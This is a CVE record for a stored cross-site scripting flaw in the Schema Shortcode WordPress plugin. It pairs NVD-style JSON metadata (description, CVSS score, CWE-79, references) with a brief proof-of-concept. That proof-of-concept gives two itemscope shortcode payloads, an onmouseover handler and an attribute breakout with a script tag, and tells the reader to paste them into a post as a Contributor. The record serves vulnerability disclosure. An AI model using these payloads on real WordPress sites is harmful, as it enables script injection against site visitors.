CVE-2026-1575

<!-- PoC for CVE-2026-1575 --> <!-- Usage: Paste into a WordPress post/page content as a Contributor user --> [itemscope itemtype="https://schema.org/Thing" onmouseover="alert('XSS')"]Test Content[/itemscope] <!-- Alternative payload using attribute injection --> [itemscope itemtype="https://schema.org/Thing" title=""><script>alert(1)</script><""]

{"cve": {"id": "CVE-2026-1575", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:16:53.937", "lastModified": "2026-04-22T21:32:08.360", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Schema Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `itemscope` shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Schema Shortcode para WordPress es vulnerable a cross-site scripting almacenado a través del shortcode 'itemscope' del plugin en todas las versiones hasta la 1.0, inclusive, debido a la sanitización de entrada y el escape de salida insuficientes en los atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/schema-shortcode/trunk/schema-shortcode.php#L41", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b8c89d80-0ae5-4849-b739-0881fec188bf?source=cve", "source": "[email protected]"}]}}